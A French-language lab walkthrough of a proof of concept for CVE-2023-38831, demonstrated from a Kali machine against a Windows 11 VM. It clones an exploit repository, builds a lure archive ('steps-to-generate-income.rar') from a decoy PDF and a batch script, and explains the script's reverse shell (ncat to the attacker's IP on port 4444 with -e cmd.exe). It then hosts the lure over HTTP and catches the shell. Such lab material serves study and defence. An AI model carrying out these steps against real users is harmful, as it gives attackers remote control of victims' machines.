
Une démo POC sur CVE-2023-38831
Une démonstration POC de CVE-2023-38831
Brève description de la vulnérabilité
Comment fonctionne la vulnérabilité ?

Première partie de l'exploitation
La première moitié se déroule sur la machine de l'attaquant pour commencer l'exploitation.

1) Tout d'abord, nous devons créer le dossier d'exploitation contenant la pièce jointe malveillante, « pdf », le code python d'exploitation et le script bat avec la commande suivante : « git clone https://github.com/HDCE-inc/CVE-2023-38831 »

2) Voici ce que contient le dossier avant toute exploitation,

3) Trouver l'adresse IP de la machine Kali via ifconfig :

4) Nous allons ensuite modifier le script existant dans script.bat avec la ligne de commande suivante (image ci-dessus)
« start » démarre le processus en ligne de commande, « /min » minimise l'invite de commande en arrière-plan, ncat permet de se connecter à l'adresse IP de l'attaquant via le port 4444, et enfin -e cmd.exe exécute la ligne de commande dans l'invite de commande.

5) Ceci montre le code exploit.py expliqué ci-dessous :
1 correspond à la saisie utilisateur du nom du fichier appât (document.pdf), du nom du script (bat.script) et du nom du fichier RAR que la victime verra ; dans ce cas, nous l'enregistrerons sous getrich.rar.
2 correspond aux vérifications effectuées pour valider si les fichiers existent dans le dossier CVE-2023-38831 sur la machine Kali Linux avec la bonne convention de nommage ; si le nom est incorrect ou en double, un message d'erreur est affiché et le programme s'arrête.
3 correspond à la création d'un dossier temporaire avec os.mkdir() pour stocker le fichier nouvellement créé avant compression et l'utiliser comme espace de travail.
4 correspond à une ligne de copie, shutil.copyfile, pour copier le fichier appât et le fichier script dans leurs répertoires respectifs dans « tmp », afin de s'assurer que tous les fichiers nécessaires sont corrects et en place avant de passer à l'étape suivante. L'étape suivante, shutil.make_archive, crée une archive à partir de « tmp » appelée « tmp.zip » contenant tout ce qui se trouve dans le dossier « tmp ».
5 correspond à la réussite de l'exécution du code ci-dessus et à la création du fichier RAR comme exploit via les entrées utilisateur du fichier appât, du fichier script et du nom du fichier de sortie.

6) Après avoir obtenu notre adresse IP et modifié le script bat, nous pouvons maintenant créer le « .rar » malveillant en exécutant la commande « python exploit.py »
Le exploit.py demandera à l'utilisateur de saisir 3 champs : le nom du fichier appât existant (document.pdf), le nom du fichier script que nous avons modifié précédemment (script.bat) et un nom de fichier RAR de sortie pour attirer la victime à télécharger et cliquer sur le fichier, nécessitant un nom approprié ; dans ce cas, nous avons utilisé « steps-to-generate-income.rar ». CVE-2023-38831 est alors prêt à exploiter la machine victime.
Deuxième partie de l'exploitation
La seconde moitié se déroule à la fois sur la machine Kali et sur la machine victime, qui est une VM Windows 11.

1) Nous allons d'abord soit créer un site web malveillant, soit envoyer la pièce jointe à la victime.
Sur le côté gauche, nous exécutons « python -m http.server 8080 ». Cette commande permet de capturer l'adresse IP qui accède à cette URL malveillante, ce qui nous permet de connaître l'adresse IP de la victime, et écoute les différentes requêtes HTTP comme « 200 » provenant d'une adresse IP spécifique. Sur le côté droit, la victime est attirée vers cette adresse IP et est incitée à télécharger le fichier « steps-to-generate-income.rar ».

2) Une fois que la victime a été incitée à télécharger le fichier malveillant « steps-to-generate-income.rar », l'interface indique quelle adresse IP a téléchargé le fichier ainsi que l'intervalle de temps. À partir de ces informations, nous pouvons obtenir l'adresse IP de la victime.

3) Nous allons ensuite configurer un ncat sur le port 4444 de la machine Kali, car le port 4444 est synchronisé avec celui écrit dans le script.bat qui sera exécuté sur la machine victime.
Une fois que la victime clique sur document.pdf, le bat.script exécute la ligne de commande et se minimise en arrière-plan instantanément, ce qui permet une connexion backdoor pour l'attaquant.